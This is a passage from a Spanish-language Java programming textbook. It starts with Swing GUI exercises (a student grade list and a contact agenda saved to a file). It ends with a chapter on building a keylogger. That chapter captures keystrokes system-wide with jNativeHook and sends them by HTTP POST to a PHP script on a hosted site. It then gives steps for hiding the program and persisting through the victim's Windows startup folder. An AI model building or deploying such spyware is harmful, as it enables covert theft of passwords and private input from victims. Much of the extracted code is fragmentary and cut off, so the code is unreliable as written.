.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jScrollPane2,
javax.swing.GroupLayout.DEFAULT_SIZE, 163, Short.MAX_VALUE)
177
.addComponent(jScrollPane1))))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel5)
.addComponent(jLabel6))
.addContainerGap())
);
pack();
}// </editor-fold>
178
DefaultListModel modelo2=new DefaultListModel();
modelo1.addElement("yo");
modelo1.addElement(100);
modelo1.addElement(true);
jList1.setModel(modelo1);
jList1.setVisible(true);*/
modelo1.removeAllElements();
modelo2.removeAllElements();
for(int i=0;i<contador;i++){
if(alumnos[i].promedio()<6){
modelo1.addElement(alumnos[i].getnombre());
}else{
modelo2.addElement(alumnos[i].getnombre());
}
}
jList1.setModel(modelo1);
jList2.setModel(modelo2);
jList1.setVisible(true);
jList2.setVisible(true);
}
179
// TODO add your handling code here:
try{
if (!Validar()){
alumnos[contador].setnumero(jTextField1.getText());
alumnos[contador].setnombre(jTextField2.getText());
alumnos[contador].setcalif1(Float.parseFloat(jTextField3.getText()));
alumnos[contador].setcalif2(Float.parseFloat(jTextField4.getText()));
contador++;
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField4.setText("");
}else{
JOptionPane.showMessageDialog(null,"Ya esxiete el expediente");
}
}catch(Exception e){
JOptionPane.showMessageDialog(null,"Error:"+e.toString());
}
}
180
JOptionPane.showMessageDialog(null, E);
}
modelo1.removeAllElements();
modelo1.addElement("Holo");
}catch(Exception e){
JOptionPane.showMessageDialog(null, e.toString());
}
}
181
boolean respuesta=false;
float c1;
try{
c1=Float.parseFloat(jTextField3.getText());
if (c1<0||c1>10){
JOptionPane.showMessageDialog(null,"Error de calificacion 1");
}else{
respuesta=true;
}
}catch(Exception e){
JOptionPane.showMessageDialog(null,"Erro de calificacion 1");
}
return respuesta;
}
private boolean ValidarCalificacion2(){
boolean respuesta=false;
return respuesta;
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
182
* For details see
http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
183
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Programa07().setVisible(true);
}
});
}
184
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
// End of variables declaration
}
Los elementos que están en amarillo son los que utilizamos para este
programa.
Que nos quedara de la siguiente forma:
185
Imagen 1.70, Muestra los datos
En mi caso voy a meter dos veces datos y los voy a consultar y nos va
aparecer en la lista de jLabel6:
186
Revisaremos el modelo 1 y esat vez nos aprarecera un mensaje en el
jLable5:
Vamos a realizar un ejemplo muy sencillo, una agenda que guarde datos
personales y los guarde en una lista:
package proyecto04;
import java.io.*;
import javax.swing.JOptionPane;
/**
*
* @author Monserrat
*/
public class proyecto04 extends javax.swing.JFrame {
/**
187
* Creates new form ejrcicio04
*/
public proyecto04() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
188
jTrabajo = new javax.swing.JTextField();
jCorreo = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jButton3 = new javax.swing.JButton();
jScrollPane2 = new javax.swing.JScrollPane();
jTable2 = new javax.swing.JTable();
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jScrollPane1.setViewportView(jTable1);
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
189
jLabel2.setFont(new java.awt.Font("Verdana", 0, 11)); // NOI18N
jLabel2.setText("Tel Casa");
jNombre.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jNombreActionPerformed(evt);
}
});
190
});
jTable2.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null}
},
new String [] {
"Nombre", "Tel Casa", "Celular", "Tel Trabajo", "Correo"
}
){
boolean[] canEdit = new boolean [] {
191
false, false, false, false, false
};
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane2)
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.TRAILING)
.addGroup(layout.createSequentialGroup()
192
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4)
.addComponent(jLabel5))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jNombre)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jCelular)
.addComponent(jCasa)
.addComponent(jTrabajo,
javax.swing.GroupLayout.DEFAULT_SIZE, 200, Short.MAX_VALUE))
.addComponent(jCorreo,
javax.swing.GroupLayout.PREFERRED_SIZE, 274,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
193
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(115, 115, 115)
.addComponent(jButton2))
.addComponent(jButton1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 30, Short.MAX_VALUE)
.addComponent(jButton3)
.addGap(23, 23, 23))))
.addGroup(layout.createSequentialGroup()
.addGap(0, 0, Short.MAX_VALUE)
.addComponent(jLabel6)))
.addGap(54, 54, 54))))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(19, 19, 19)
.addComponent(jLabel6)
.addGap(27, 27, 27)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jNombre,
javax.swing.GroupLayout.PREFERRED_SIZE,
194
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jCasa,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jCelular,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)
.addComponent(jTrabajo,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
195
.addComponent(jLabel5)
.addComponent(jCorreo,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(31, 31, 31)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3))
.addGap(18, 18, 18)
.addComponent(jScrollPane2,
javax.swing.GroupLayout.PREFERRED_SIZE, 111,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))
);
pack();
}// </editor-fold>
196
datos[4]=jCorreo.getText();
try{
if(datos[0].equals("")||datos[1].equals("")||datos[2].equals("")||datos[3].e
quals("")||datos[4].equals("")){
fw.write(datos[0]+"|"+datos[1]+"|"+datos[2]+"|"+datos[3]+"|"+datos[4]+"|\
n");
fw.close();
JOptionPane.showMessageDialog(null, "Alta Exitosa");
jNombre.setText("");
jCasa.setText("");
jCelular.setText("");
jTrabajo.setText("");
jCorreo.setText("");
}
}catch(Exception e){
197
private boolean consulta(String nombre){
boolean r=false;
try{
FileReader fr=new
FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){
r=true;
}
linea=br.readLine();
}
br.close();
fr.close();
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error:"+e.toString());
}
return r;
}
@SuppressWarnings("empty-statement")
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
198
String nombre=JOptionPane.showInputDialog("Ingrese el nombre a
consular");
if (consulta(nombre)){
try{
199
JOptionPane.showMessageDialog(null, "Nombre no encontrado",
"Error de Contenido", JOptionPane.INFORMATION_MESSAGE);
}
}
FileReader fr=new
FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
int r=0;
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){
}else{
array[r][0]=datos[0];
array[r][1]=datos[1];
array[r][2]=datos[2];
array[r][3]=datos[3];
200
array[r][4]=datos[4];
r++;
}
linea=br.readLine();
}
br.close();
fr.close();
FileWriter fw= new FileWriter("f:/tarea4/Datos.txt", false);
for (int i = 0; i < r; i++) {
fw.write(array[i][0]+"|"+array[i][1]+"|"+array[i][2]+"|"+array[i][3]+"|"+array[i][
4]+"|\n");
}
fw.close();
JOptionPane.showMessageDialog(null, "El registro se a eliminado");
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error:"+e.toString());
}
}else{
JOptionPane.showMessageDialog(null, "El nombre no existe");
}
}
/**
201
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
202
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
//</editor-fold>
203
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JTextField jNombre;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTable jTable1;
private javax.swing.JTable jTable2;
private javax.swing.JTextField jTrabajo;
// End of variables declaration
}
Lo que esta marcado en amarillo son todos los elementos que utilizamos.
Qurdandonos de esta forma:
204
En esta imagen podemos visualizar que ya obtenemos todos los campos
cubiertos que requiere nuestra agenda:
205
A su vez podemos que relizamos la cosulta podemos eliminar a un usuario
siempre y cuando se halla regristrado el mismo, y de igual forma podemos
obtener dos resultados uno que sea éxitoso la eliminación y la otra que no
existe:
206
5.4. Archivos
En esta parte vamos a realizar diferentes tipos de ejemplos de como
relacionar un archivo con nutro programa en java:
Ejemplo uno crearemos una clase en java qu contenga lo siguiente:
public class Programa10 {
public static void main(String arg[]){
String datos[][]=new String[5][2];
datos[0][0]="monse";
datos[0][1]="5554372367";
datos[1][0]="monse1";
datos[1][1]="5554372367";
datos[2][0]="monse2";
datos[2][1]="5554372367";
datos[3][0]="monse3";
datos[3][1]="5554372367";
datos[4][0]="monse4";
datos[4][1]="5554372367";
try{
207
}
208
5.5. Construcción del Keylogger primer parte
¿Qué es un Keylogger?
Eso resolvería nuestra primera limitante para crear un keylogger que sea
para todos los S.O. Ahora nos podemos encontrar con una limitante más
en caso de Java. El siguiente sería que nuestro Keylogger en java por si solo
en lenguaje JAVA no se puede.
Java no puede leer nada fuera de la JVM (Java Virtual Machine). Eso es
una nueva limitante y que nos puede preocupar, pero como todos saben
que todo es posible pues tienen razón podemos ocupar una API que nos
permita apoyarnos de un lenguaje o dependencias del sistema operativo
que nos facilite la principal función de un Keylogger que es leer todo lo que
se teclea.
209
Imagen 1.77, Empezando el proyecto
210
Elegimos un nuevo nombre de nuestro proyecto:
Una vez hecho esto nos parecerá nuestra clase y método main creado.
211
Agregamos la librería jNativeHook.java
212
Una vez hecho esto aparecerá en las librerías de nuestro proyecto:
213
e.printStackTrace();
GlobalScreen.getInstance().addNativeKeyListener(new
Keylogger1());
System.out.print(axo);
// Mostramos lo que capturamos.
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
214
}
215
/*Primero se implementará la interfaz que contiene los métodos necesarios
para el
* manejo de las teclas según su comportamiento
*/
try {
GlobalScreen.registerNativeHook();
} catch(Exception e) {
e.printStackTrace();
216
GlobalScreen.getInstance().addNativeKeyListener(new
Keylogger1());
// System.out.println(axe);
metodo_agregamos(axe);
}
public void metodo_agregamos(String hola)
{
chido.add(hola);
217
aux += chido.get(i).toString();
}
metodo_enviar(aux);
chido.clear();
}
}
try{
System.out.print(enviar);
String Data = "dato="+enviar;
URL url = new URL("http://localhost/recibire.php");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
con.getOutputStream().write(Data.getBytes("UTF-8"));
con.getInputStream();
}catch(Exception xx)
{
System.out.println(xx);
}
218
}
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
// TODO Auto-generated method stub
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
}
[+] Capturar un cierto número de teclas las cuales van a ser enviadas a
nuestro sitio web.
[+] Preparar la petición HTTP para enviarlo.
[+] Tratar la información en un documento php.
[+] Visualizar esa información en un archivo de texto plano.
219
acumular en un Arreglo el cual tendrá la función de recolectar hasta cierto
límite de caracteres y enviarlos mediante una petición HTTP al sitio Web y
después vaciarlo para recolectar las nuevas teclas capturadas.
Imagen
1.85, Demostración de nuetro Keylogger
220
Por ultimo solo se limpia nuestro Array (línea 63) para poder realizar este
proceso nuevamente y evitar mandar información duplicada.
Ahora queda montar nuestros archivos en un servidor web, pero ¿por qué
en un servidor web? Debido a que las víctimas cuando se conecten
empiecen a enviarse logs de las teclas capturadas.
221
Imagen 1.87
Una vez terminado los pasos y recordar nuestra contraseña, nos llegarán
unos coreos de confirmación Imagen 1.88:
222
Confirmamos entrando a la url que nos otorgan para autentica la cuenta y
entramos a nuestro panel. Véase Imagen 1.90:
Entramos a la siguiente parte donde dice quick FTP. Esto es antes de entrar
a nuestro cPanel. Ver Imagen 1.91:
Imagen 1.91, Muestra los datos del FTP (File Transfer Protocol).
223
Una vez obtenido los datos de acceso al FTP podremos abrir el Programa
Filezilla Abrimos Filezilla FTP Client y nos conectamos. Imagen 1.92:
Imagen 1.92, Muestra el login a nuestro sitio donde se alojan los archivos
224
Imagen 1.93, Muestra la carpeta donde se alojan los archivos de la página amostrar
Para visualiza nuestros Logs basta con abrir nuestra web mediante el
subdominio que creamos: http://subdominio.x10.com/carpeta_logs /
225
Mandando nuestros Logs.
226
escribe nuestros datos en el texto plano. Finalmente, el método
getInputStream () obtiene el flujo de entrada del subproceso.
Para esto es necesario crear un archivo PHP que las reciba llamado
recibire.php
La línea 5 abre un archivo llamado data.txt el cual solo necesita existir para
que se guarden ahí las teclas capturadas. Siguiendo la linea 6 que escribe
en el y hace un salto de línea con \r\n finalmente cierra el archivo en la
línea 7.
227
Imagen 1.97, Archivo
228
Imagen 1.99, Muestra el archivo en el sitio
Para poder visualizarlos solo queda abrir nuestro navegador con nuestro
subdominio que nos hemos creado en nuestro sitio web.
229
Imagen 1.100
230
Imagen 1.101, Muestra el archivo finalizado
231
Agregando persistencia en nuestro programa.
Para estar seguros que nuestro Keylogger se ejecute cada vez que se inicie
Windows de nuestra víctima podemos hacer lo siguiente.
Copiamos nuestro archivo en cualquier lugar oculto. Ejemplo C://Windows/
En este ejemplo se creó una carpeta llamada Adas para ubicarlo más
rápidamente.
Imagen 1.105
232
Este acceso directo se corta y oprimiremos la tecla Windows+R para poder
ejecutar el siguiente comando: Shell:startup.
Imagen 1.106
Imagen 1.107
233
Pegamos nuestro acceso directo y podemos estar seguros de que siempre
se ejecutará nuestro Keylogger.
Con este material esperamos que te sea de gran utilidad y que puedas
tener la lógica de un programador, pretedemos que con este material
puedas desarrollar diversas cosas.
Espezamos con un modo básico para mejor compresión del usuario, al final
desarrollamos una herramienta de seguridad con nivel medio, dándole un
enfoque diferente a la programación.
234